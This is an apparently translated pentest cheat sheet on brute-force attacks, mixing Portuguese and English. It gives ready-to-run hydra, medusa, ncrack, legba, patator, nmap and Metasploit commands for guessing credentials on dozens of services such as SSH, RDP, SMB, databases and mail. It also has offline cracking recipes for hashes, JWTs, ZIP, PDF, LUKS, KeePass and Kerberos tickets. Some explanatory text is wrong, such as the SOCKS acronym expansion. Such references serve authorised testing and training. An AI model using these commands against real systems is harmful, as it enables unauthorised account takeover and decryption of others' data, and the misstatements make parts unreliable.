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Translator 89a9ce7b4f Translated ['generic-methodologies-and-resources/brute-force.md'] to pt

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Brute Force - CheatSheet

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Credenciais Padrão

Pesquise no Google por credenciais padrão da tecnologia que está sendo usada, ou experimente estes links:

Crie seus próprios Dicionários

Obtenha o máximo de informações possível sobre o alvo e gere um dicionário personalizado. Ferramentas que podem ajudar:

Crunch

crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst)

@ Lower case alpha characters
, Upper case alpha characters
% Numeric characters
^ Special characters including spac
crunch 6 8 -t ,@@^^%%

Cewl

Cewl é uma ferramenta que pode ser usada para criar listas de palavras-chave a partir de um site ou documento fornecido. Isso pode ser útil para realizar ataques de força bruta com base em palavras-chave relevantes ao alvo.

cewl example.com -m 5 -w words.txt

CUPP

Gerar senhas com base no seu conhecimento sobre a vítima (nomes, datas...)

python3 cupp.py -h

Wister

Uma ferramenta geradora de listas de palavras, que permite fornecer um conjunto de palavras, dando-lhe a possibilidade de criar várias variações a partir das palavras fornecidas, criando uma lista de palavras única e ideal para usar em relação a um alvo específico.

python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst

__          _______  _____ _______ ______ _____
\ \        / /_   _|/ ____|__   __|  ____|  __ \
\ \  /\  / /  | | | (___    | |  | |__  | |__) |
\ \/  \/ /   | |  \___ \   | |  |  __| |  _  /
\  /\  /   _| |_ ____) |  | |  | |____| | \ \
\/  \/   |_____|_____/   |_|  |______|_|  \_\

Version 1.0.3                    Cycurity

Generating wordlist...
[########################################] 100%
Generated 67885 lines.

Finished in 0.920s.

pydictor

Listas de Palavras

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Serviços

Ordenados alfabeticamente pelo nome do serviço.

AFP

nmap -p 548 --script afp-brute <IP>
msf> use auxiliary/scanner/afp/afp_login
msf> set BLANK_PASSWORDS true
msf> set USER_AS_PASS true
msf> set PASS_FILE <PATH_PASSWDS>
msf> set USER_FILE <PATH_USERS>
msf> run

AJP

O protocolo AJP (Apache JServ Protocol) é um protocolo binário que permite a comunicação entre um servidor web e um servidor de aplicativos Java. Ele é comumente usado para melhorar o desempenho de servidores web ao delegar tarefas de processamento de aplicativos Java para um servidor de aplicativos dedicado.

nmap --script ajp-brute -p 8009 <IP>

AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace)

legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl]

Cassandra

Cassandra é um banco de dados distribuído altamente escalável que permite armazenar e gerenciar grandes quantidades de dados em vários servidores sem um único ponto de falha.

nmap --script cassandra-brute -p 9160 <IP>
# legba ScyllaDB / Apache Casandra
legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042

CouchDB

CouchDB é um banco de dados NoSQL que pode ser alvo de ataques de força bruta. Os hackers podem tentar adivinhar credenciais de login válidas usando combinações de nomes de usuário e senhas comuns. É importante garantir que senhas fortes e autenticação de dois fatores sejam implementadas para proteger o CouchDB contra ataques de força bruta.

msf> use auxiliary/scanner/couchdb/couchdb_login
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /

Registro do Docker

hydra -L /usr/share/brutex/wordlists/simple-users.txt  -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/

Elasticsearch

hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /

FTP

FTP (File Transfer Protocol) é um protocolo padrão usado para transferir arquivos pela rede.

hydra -l root -P passwords.txt [-t 32] <IP> ftp
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp
legba ftp --username admin --password wordlists/passwords.txt --target localhost:21

Brute Force Genérico HTTP

WFuzz

Autenticação Básica HTTP

hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
# Use https-get mode for https
medusa -h <IP> -u <username> -P  <passwords.txt> -M  http -m DIR:/path/to/auth -T 10
legba http.basic --username admin --password wordlists/passwords.txt --target http://localhost:8888/

HTTP - NTLM

Brute Force Attack

Um ataque de força bruta contra a autenticação NTLM é uma técnica comum usada para quebrar senhas. Neste tipo de ataque, um hacker tenta todas as combinações possíveis de senhas até encontrar a correta. Isso pode ser feito de forma manual ou automatizada usando ferramentas especializadas. É importante usar senhas fortes e implementar medidas de segurança adicionais, como bloqueio de contas após um número específico de tentativas falhas, para mitigar esse tipo de ataque.

legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/

HTTP - Post Form

Brute Force

Brute force attacks consist of systematically checking all possible keys or passwords until the correct one is found. This method is often used to crack passwords by trying all possible combinations.

Dictionary Attack

A dictionary attack is a type of brute force attack where a predefined list of words is used as the potential passwords. This method is more efficient than a standard brute force attack as it reduces the number of possible combinations to try.

Hybrid Attack

A hybrid attack combines elements of both brute force and dictionary attacks. It first tries all possible combinations of characters, and then uses a dictionary to try common words or passwords.

Rainbow Table Attack

A rainbow table attack is a precomputed table for reversing cryptographic hash functions, usually used to crack password hashes. This method can significantly speed up the cracking process by avoiding the need to compute the hash for each attempt.

Credential Stuffing

Credential stuffing is a type of brute force attack where large sets of stolen credentials are automatically entered into login forms until a match is found. This method relies on users reusing passwords across multiple accounts.

hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb  http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
# Use https-post-form mode for https

Para https você tem que mudar de "http-post-form" para "https-post-form"

HTTP - CMS -- (W)ordpress, (J)oomla or (D)rupal or (M)oodle

cmsmap -f W/J/D/M -u a -p a https://wordpress.com
# Check also https://github.com/evilsocket/legba/wiki/HTTP

IMAP

IMAP (Internet Message Access Protocol) is a standard email protocol that stores email messages on a mail server. When a user reads an email, it remains stored on the server until the user deletes it. IMAP allows for multiple devices to be synchronized and access the same mailbox.

hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
nmap -sV --script imap-brute -p <PORT> <IP>
legba imap --username user --password data/passwords.txt --target localhost:993

IRC

Brute Force

Brute force attacks on IRC servers are typically carried out using automated scripts that attempt to guess usernames and passwords. These scripts can be targeted at the IRC server itself or at services such as NickServ, which manages user nicknames.

To protect against brute force attacks on IRC servers, it is important to use strong, unique passwords and to implement account lockout policies that temporarily lock accounts after a certain number of failed login attempts. Additionally, monitoring login attempts and enforcing strong password policies can help mitigate the risk of a successful brute force attack.

nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>

ISCSI

nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP>

JWT

#hashcat
hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt

#https://github.com/Sjord/jwtcrack
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt

#John
john jwt.txt --wordlist=wordlists.txt --format=HMAC-SHA256

#https://github.com/ticarpi/jwt_tool
python3 jwt_tool.py -d wordlists.txt <JWT token>

#https://github.com/brendan-rius/c-jwt-cracker
./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc 1234567890 8

#https://github.com/mazen160/jwt-pwn
python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc -w wordlist.txt

#https://github.com/lmammino/jwt-cracker
jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6

LDAP

nmap --script ldap-brute -p 389 <IP>
legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match

MQTT

Brute Force

Brute forcing MQTT credentials involves trying all possible combinations of usernames and passwords until the correct one is found. This can be done using tools like Hydra or custom scripts.

Prevention

To prevent brute force attacks on MQTT, it is recommended to:

Use strong and unique passwords
Implement account lockout mechanisms after a certain number of failed login attempts
Monitor MQTT logs for suspicious login activities
Consider implementing two-factor authentication for an added layer of security.

ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v
legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt

Mongo

nmap -sV --script mongodb-brute -n -p 27017 <IP>
use auxiliary/scanner/mongodb/mongodb_login
legba mongodb --target localhost:27017 --username root --password data/passwords.txt

MSSQL

Brute Force

Brute force attacks against MSSQL servers can be performed using tools like Hydra or Ncrack. These tools allow you to systematically try all possible combinations of usernames and passwords until the correct one is found. It is important to note that brute force attacks can be time-consuming and may trigger account lockouts if too many failed attempts are made. It is recommended to use strong and complex passwords to mitigate the risk of a successful brute force attack.

legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433

MySQL

MySQL is a popular open-source relational database management system. It is commonly used in web applications to store and retrieve data. MySQL databases can be targeted using brute force attacks to guess usernames and passwords. These attacks can be automated using tools like Hydra or Burp Suite Intruder. It is important to use strong and unique credentials, as well as implement security measures like account lockouts to protect against brute force attacks.

# hydra
hydra -L usernames.txt -P pass.txt <IP> mysql

# msfconsole
msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false

# medusa
medusa -h <IP/Host> -u <username> -P <password_list> <-f | to stop medusa on first success attempt> -t <threads> -M mysql

#Legba
legba mysql --username root --password wordlists/passwords.txt --target localhost:3306

OracleSQL

Brute Force

Brute force attacks are commonly used to crack passwords by trying all possible combinations until the correct one is found. In the context of OracleSQL, brute force attacks can be used to guess usernames and passwords to gain unauthorized access to databases.

Prevention

To prevent brute force attacks in OracleSQL, it is recommended to:

Implement strong password policies
Enforce account lockout policies after a certain number of failed login attempts
Monitor and log login attempts for suspicious activities
Use multi-factor authentication for an added layer of security

By following these prevention measures, you can significantly reduce the risk of falling victim to brute force attacks in OracleSQL.

patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017

./odat.py passwordguesser -s $SERVER -d $SID
./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt

#msf1
msf> use admin/oracle/oracle_login
msf> set RHOSTS <IP>
msf> set RPORT 1521
msf> set SID <SID>

#msf2, this option uses nmap and it fails sometimes for some reason
msf> use scanner/oracle/oracle_login
msf> set RHOSTS <IP>
msf> set RPORTS 1521
msf> set SID <SID>

#for some reason nmap fails sometimes when executing this script
nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=<SID> <IP>

legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt

Para usar oracle_login com patator, você precisa instalar:

pip3 install cx_Oracle --upgrade

Força bruta de hash OracleSQL offline (versões 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2, e 11.2.0.3):

nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30

POP

Brute Force

Brute force attacks are one of the simplest and most common hacking techniques. They consist of systematically checking all possible passwords or encryption keys until the correct one is found. Brute force attacks can be time-consuming but are often successful if the password is weak or the encryption key is short.

Tools

Hydra: A popular password-cracking tool that can perform rapid dictionary attacks or brute force attacks.
Medusa: A speedy, parallel, and modular login brute-forcer.
Ncrack: A high-speed network authentication cracking tool.
John the Ripper: A fast password cracker.
Hashcat: An advanced password recovery tool.

Countermeasures

Implement account lockout policies to prevent multiple failed login attempts.
Use complex and unique passwords that are resistant to brute force attacks.
Implement multi-factor authentication to add an extra layer of security.
Monitor and analyze login attempts for any suspicious activity.

hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V

# Insecure
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:110

# SSL
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl

PostgreSQL

PostgreSQL é um sistema de gerenciamento de banco de dados relacional de código aberto amplamente utilizado. É conhecido por sua confiabilidade e recursos avançados.

hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> postgres
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres
ncrack –v –U /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP>:5432
patator pgsql_login host=<IP> user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt
use auxiliary/scanner/postgres/postgres_login
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>
legba pgsql --username admin --password wordlists/passwords.txt --target localhost:5432

PPTP

Você pode baixar o pacote .deb para instalar em https://http.kali.org/pool/main/t/thc-pptp-bruter/

sudo dpkg -i thc-pptp-bruter*.deb #Install the package
cat rockyou.txt | thc-pptp-bruter –u <Username> <IP>

RDP

ncrack -vv --user <User> -P pwds.txt rdp://<IP>
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain <RDP_DOMAIN>] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon]

Redis

msf> use auxiliary/scanner/redis/redis_login
nmap --script redis-brute -p 6379 <IP>
hydra –P /path/pass.txt redis://<IP>:<PORT> # 6379 is the default
legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl]

Rexec

Rexec is a simple service that allows users to execute commands on a remote system. It is often used for testing purposes and troubleshooting. Rexec can be a target for brute force attacks, where an attacker tries to guess the username and password to gain unauthorized access to the remote system. It is important to use strong authentication methods and implement rate limiting to protect against brute force attacks on Rexec services.

hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V

Rlogin

Rlogin é um protocolo de rede que permite a um usuário fazer login em um sistema remoto. É vulnerável a ataques de força bruta devido à falta de mecanismos de segurança robustos. Durante um ataque de força bruta ao Rlogin, um hacker tentará várias combinações de nomes de usuário e senhas para obter acesso não autorizado ao sistema remoto. É altamente recomendável desativar o Rlogin e usar métodos de autenticação mais seguros, como SSH.

hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V

Rsh

O Rsh (Remote Shell) é um serviço que permite aos usuários executar comandos em um sistema remoto. É importante estar ciente de que o Rsh não é seguro, pois as credenciais de login são enviadas em texto simples, o que torna vulnerável a ataques de força bruta. É altamente recomendado evitar o uso do Rsh e optar por alternativas mais seguras, como SSH (Secure Shell).

hydra -L <Username_list> rsh://<Victim_IP> -v -V

http://pentestmonkey.net/tools/misc/rsh-grind

Rsync

nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>

RTSP

hydra -l root -P passwords.txt <IP> rtsp

SFTP

legba sftp --username admin --password wordlists/passwords.txt --target localhost:22
# Try keys from a folder
legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22

SNMP

msf> use auxiliary/scanner/snmp/snmp_login
nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ]
onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt <IP>
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp

SMB

O SMB (Server Message Block) é um protocolo de compartilhamento de arquivos e impressoras usado principalmente por sistemas Windows. É comum usar força bruta para tentar obter acesso não autorizado a compartilhamentos SMB. Isso pode ser feito usando ferramentas como Hydra, Medusa ou até mesmo scripts personalizados. É importante ter em mente que a força bruta pode ser detectada facilmente por sistemas de segurança, portanto, é essencial tomar medidas adicionais para proteger os compartilhamentos SMB contra ataques desse tipo.

nmap --script smb-brute -p 445 <IP>
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup <SMB_WORKGROUP>] [--smb-share <SMB_SHARE>]

SMTP

hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL
legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism <mech>]

SOCKS

SOCKS stands for Socket Over Complete Kit Service and is a protocol that allows a client to establish a connection to a server through a proxy server. This can be useful for bypassing firewalls or accessing restricted content.

nmap  -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP>
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt
# With alternative address
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt --socks5-address 'internal.company.com' --socks5-port 8080

SQL Server

Brute Force

Brute force attacks against SQL Server involve attempting to guess usernames and passwords to gain unauthorized access. This can be done using automated tools that systematically try all possible combinations of usernames and passwords until the correct one is found. Brute force attacks can be time-consuming but are often successful if weak or common credentials are used. It is essential to use strong, unique passwords and implement other security measures to protect against brute force attacks.

#Use the NetBIOS name of the machine as domain
crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> mssql
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssql
nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts <host> #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts
msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT

SSH

hydra -l root -P passwords.txt [-t 32] <IP> ssh
ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ssh
patator ssh_login host=<ip> port=22 user=root 0=/path/passwords.txt password=FILE0 -x ignore:mesg='Authentication failed'
legba ssh --username admin --password wordlists/passwords.txt --target localhost:22
# Try keys from a folder
legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22

Chaves SSH fracas / Debian PRNG previsível

Alguns sistemas possuem falhas conhecidas na semente aleatória usada para gerar material criptográfico. Isso pode resultar em um espaço de chaves dramaticamente reduzido que pode ser quebrado por ferramentas como snowdroppe/ssh-keybrute. Conjuntos pré-gerados de chaves fracas também estão disponíveis, como g0tmi1k/debian-ssh.

STOMP (ActiveMQ, RabbitMQ, HornetQ e OpenMQ)

O protocolo de texto STOMP é um protocolo de mensagens amplamente utilizado que permite comunicação e interação perfeitas com serviços populares de filas de mensagens como RabbitMQ, ActiveMQ, HornetQ e OpenMQ. Ele fornece uma abordagem padronizada e eficiente para trocar mensagens e realizar várias operações de mensagens.

legba stomp --target localhost:61613 --username admin --password data/passwords.txt

Telnet

Telnet é um protocolo de rede que permite a comunicação com um dispositivo remoto. É comumente usado em testes de penetração para tentativas de login por força bruta.

hydra -l root -P passwords.txt [-t 32] <IP> telnet
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M telnet

legba telnet \
--username admin \
--password wordlists/passwords.txt \
--target localhost:23 \
--telnet-user-prompt "login: " \
--telnet-pass-prompt "Password: " \
--telnet-prompt ":~$ " \
--single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin

VNC

Brute Force

Brute force attacks against VNC servers are common due to the protocol's lack of built-in security features. Attackers can use tools like Hydra or Medusa to automate the process of trying different username and password combinations until the correct one is found. It is essential to use strong, unique credentials and consider additional security measures such as IP whitelisting or VPNs to protect VNC servers from brute force attacks.

hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s <PORT> <IP> vnc
medusa -h <IP> –u root -P /root/Desktop/pass.txt –M vnc
ncrack -V --user root -P /root/Desktop/pass.txt <IP>:>POR>T
patator vnc_login host=<IP> password=FILE0 0=/root/Desktop/pass.txt –t 1 –x retry:fgep!='Authentication failure' --max-retries 0 –x quit:code=0
use auxiliary/scanner/vnc/vnc_login
nmap -p 5900,5901 --script vnc-brute --script-args brute.credfile=wordlist.txt <IP>
legba vnc --target localhost:5901 --password data/passwords.txt

#Metasploit
use auxiliary/scanner/vnc/vnc_login
set RHOSTS <ip>
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst

Winrm

crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt

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Local

Bancos de dados de quebra online

~~http://hashtoolkit.com/reverse-hash?~~ (MD5 & SHA1)
https://shuck.sh/get-shucking.php (MSCHAPv2/PPTP-VPN/NetNTLMv1 com/sem ESS/SSP e com qualquer valor de desafio)
https://www.onlinehashcrack.com/ (Hashes, capturas WPA2 e arquivos MSOffice, ZIP, PDF...)
https://crackstation.net/ (Hashes)
https://md5decrypt.net/ (MD5)
https://gpuhash.me/ (Hashes e hashes de arquivos)
https://hashes.org/search.php (Hashes)
https://www.cmd5.org/ (Hashes)
https://hashkiller.co.uk/Cracker (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512)
https://www.md5online.org/md5-decrypt.html (MD5)
http://reverse-hash-lookup.online-domain-tools.com/

Verifique isso antes de tentar fazer força bruta em um Hash.

ZIP

#sudo apt-get install fcrackzip
fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip

zip2john file.zip > zip.john
john zip.john

#$zip2$*0*3*0*a56cb83812be3981ce2a83c581e4bc4f*4d7b*24*9af41ff662c29dfff13229eefad9a9043df07f2550b9ad7dfc7601f1a9e789b5ca402468*694b6ebb6067308bedcd*$/zip2$
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack

Ataque de força bruta de texto simples zip conhecido

Você precisa saber o texto simples (ou parte do texto simples) de um arquivo contido dentro do zip criptografado. Você pode verificar os nomes de arquivos e o tamanho dos arquivos contidos dentro de um zip criptografado executando: 7z l encrypted.zip
Baixe o bkcrack na página de lançamentos.

# You need to create a zip file containing only the file that is inside the encrypted zip
zip plaintext.zip plaintext.file

./bkcrack -C <encrypted.zip> -c <plaintext.file> -P <plaintext.zip> -p <plaintext.file>
# Now wait, this should print a key such as 7b549874 ebc25ec5 7e465e18
# With that key you can create a new zip file with the content of encrypted.zip
# but with a different pass that you set (so you can decrypt it)
./bkcrack -C <encrypted.zip> -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd
unzip unlocked.zip #User new_pwd as password

7z

Brute Force Attack

Um ataque de força bruta é uma técnica de hacking que envolve tentar todas as combinações possíveis de senhas até encontrar a correta. Isso pode ser feito de forma automatizada usando ferramentas como o 7z.

cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z

#Download and install requirements for 7z2john
wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/7z2john.pl
apt-get install libcompress-raw-lzma-perl
./7z2john.pl file.7z > 7zhash.john

PDF

Brute Force

Brute force attacks consist of systematically checking all possible keys or passwords until the correct one is found. This method is usually used when the password is unknown and there is no other way to obtain it. Brute force attacks can be time-consuming but are often effective.

Tools

Hydra: A popular tool for performing brute force attacks. It supports multiple protocols and services.
Medusa: Similar to Hydra, Medusa is a speedy, parallel, and modular login brute-forcer.
Ncrack: A high-speed network authentication cracking tool. It was designed for large-scale network audits.
John the Ripper: A widely used password cracker. It can perform both dictionary and brute force attacks.

Techniques

Dictionary Attack: Involves using a predefined list of passwords to try to crack a password.
Hybrid Attack: Combines a dictionary attack with a brute force attack.
Rainbow Table Attack: Uses precomputed tables to crack passwords.

Prevention

Use complex and unique passwords.
Implement account lockout policies.
Monitor and log failed login attempts.
Use multi-factor authentication when possible.

apt-get install pdfcrack
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
#pdf2john didn't work well, john didn't know which hash type was
# To permanently decrypt the pdf
sudo apt-get install qpdf
qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf

Senha do Proprietário do PDF

Para quebrar uma senha de proprietário de PDF, verifique isso: https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/

JWT

git clone https://github.com/Sjord/jwtcrack.git
cd jwtcrack

#Bruteforce using crackjwt.py
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt

#Bruteforce using john
python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
john jwt.john #It does not work with Kali-John

Quebra de NTLM

Format:USUARIO:ID:HASH_LM:HASH_NT:::
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot

Keepass

sudo apt-get install -y kpcli #Install keepass tools like keepass2john
keepass2john file.kdbx > hash #The keepass is only using password
keepass2john -k <file-password> file.kdbx > hash # The keepass is also using a file as a needed credential
#The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john
john --wordlist=/usr/share/wordlists/rockyou.txt hash

Keberoasting

john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi

Imagem Lucks

Método 1

Instalação: https://github.com/glv2/bruteforce-luks

bruteforce-luks -f ./list.txt ./backup.img
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt

Método 2

cryptsetup luksDump backup.img #Check that the payload offset is set to 4096
dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1
hashcat -m 14600 -a 0 luckshash  wordlists/rockyou.txt
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt

Outro tutorial de BF Luks: http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1

Mysql

#John hash format
<USERNAME>:$mysqlna$<CHALLENGE>*<RESPONSE>
dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d

Chave privada PGP/GPG

gpg2john private_pgp.key #This will generate the hash and save it in a file
john --wordlist=/usr/share/wordlists/rockyou.txt ./hash

Cisco

Chave Mestra DPAPI

Use https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py e depois o john

Coluna Protegida por Senha no Open Office

Se você tiver um arquivo xlsx com uma coluna protegida por senha, você pode desprotegê-la:

Faça o upload para o Google Drive e a senha será removida automaticamente
Para removê-la manualmente:

unzip file.xlsx
grep -R "sheetProtection" ./*
# Find something like: <sheetProtection algorithmName="SHA-512"
hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UVfNEzidgv+Uvf8C5Tg" saltValue="U9oZfaVCkz5jWdhs9AA8nA" spinCount="100000" sheet="1" objects="1" scenarios="1"/>
# Remove that line and rezip the file
zip -r file.xls .

Certificados PFX

# From https://github.com/Ridter/p12tool
./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt
# From https://github.com/crackpkcs12/crackpkcs12
crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx

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Ferramentas

Exemplos de Hash: https://openwall.info/wiki/john/sample-hashes

Identificador de Hash

hash-identifier
> <HASH>

Listas de Palavras

Ferramentas de Geração de Listas de Palavras

kwprocessor: Gerador avançado de sequências de teclado com caracteres base configuráveis, mapa de teclas e rotas.

kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt

Mutação de John

Leia /etc/john/john.conf e configure-o

john --wordlist=words.txt --rules --stdout > w_mutated.txt
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules

Hashcat

Ataques do Hashcat

